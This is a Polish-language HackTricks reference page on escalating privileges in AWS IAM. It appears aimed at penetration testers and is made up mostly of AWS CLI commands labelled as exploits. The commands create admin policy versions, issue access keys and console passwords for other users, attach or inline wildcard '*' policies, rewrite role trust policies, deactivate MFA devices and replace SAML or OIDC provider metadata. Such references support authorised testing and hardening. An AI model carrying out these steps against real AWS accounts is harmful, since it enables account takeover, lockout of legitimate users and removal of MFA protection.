AWS - IAM Privesc

Support HackTricks

IAM

Aby uzyskać więcej informacji na temat IAM, sprawdź:

iam:CreatePolicyVersion

Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia iam:SetDefaultPolicyVersion za pomocą flagi --set-as-default. Umożliwia to definiowanie niestandardowych uprawnień.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Wpływ: Bezpośrednio eskaluje uprawnienia, pozwalając na dowolne działanie na dowolnym zasobie.

iam:SetDefaultPolicyVersion

Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, potencjalnie eskalując uprawnienia, jeśli nowa wersja ma więcej uprawnień.

Polecenie Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Wpływ: Pośrednia eskalacja uprawnień poprzez włączenie większej liczby uprawnień.

iam:CreateAccessKey

Umożliwia tworzenie identyfikatora klucza dostępu i tajnego klucza dostępu dla innego użytkownika, co prowadzi do potencjalnej eskalacji uprawnień.

Eksploatacja:

aws iam create-access-key --user-name <target_user>

Wpływ: Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Zezwala na tworzenie lub aktualizowanie profilu logowania, w tym ustawianie haseł do logowania w konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.

Eksploatacja dla utworzenia:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Eksploatacja dla aktualizacji:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Wpływ: Bezpośrednia eskalacja uprawnień przez logowanie się jako "dowolny" użytkownik.

iam:UpdateAccessKey

Pozwala na włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony klucz.

Eksploatacja:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Wpływ: Bezpośrednia eskalacja uprawnień poprzez reaktywację kluczy dostępu.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika.

Eksploatacja dla utworzenia:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Eksploatacja dla Resetu:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Wpływ: Bezpośrednia eskalacja uprawnień w ramach uprawnień usługi użytkownika.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki.

Wykorzystanie dla użytkownika:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Eksploatacja dla grupy:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Wpływ: Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje polityka.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Pozwala na dołączanie lub umieszczanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznawanie dodatkowych uprawnień.

Eksploatacja dla Roli:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Eksploatacja dla Polityk Inline:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Możesz użyć polityki takiej jak:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Wpływ: Bezpośrednia eskalacja uprawnień poprzez dodawanie uprawnień za pomocą polityk.

iam:AddUserToGroup

Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.

Eksploatacja:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Wpływ: Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy.

iam:UpdateAssumeRolePolicy

Pozwala na modyfikację dokumentu polityki zakupu roli, umożliwiając przyjęcie roli i jej powiązanych uprawnień.

Eksploatacja:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienia do przyjęcia roli:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Wpływ: Bezpośrednia eskalacja uprawnień przez przyjęcie uprawnień dowolnej roli.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Pozwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnej pośredniej eskalacji uprawnień.

Wykorzystanie do przesyłania klucza SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Eksploatacja dezaktywacji MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Wpływ: Pośrednia eskalacja uprawnień poprzez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.

iam:ResyncMFADevice

Pozwala na resynchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulację ochroną MFA.

Polecenie Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Wpływ: Pośrednia eskalacja uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Dzięki tym uprawnieniom możesz zmienić metadane XML połączenia SAML. Następnie możesz nadużyć federacji SAML, aby zalogować się z dowolną rolą, która jej ufa.

Zauważ, że robiąc to legitni użytkownicy nie będą mogli się zalogować. Możesz jednak uzyskać XML, aby wprowadzić swój, zalogować się i skonfigurować poprzednie ustawienia.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Narzędzie zdolne do generowania metadanych SAML i logowania się z określoną rolą

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Niepewne) Jeśli atakujący ma te uprawnienia, mógłby dodać nowy odcisk palca, aby móc zalogować się we wszystkich rolach ufających dostawcy.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Odniesienia

Wsparcie HackTricks

Last updated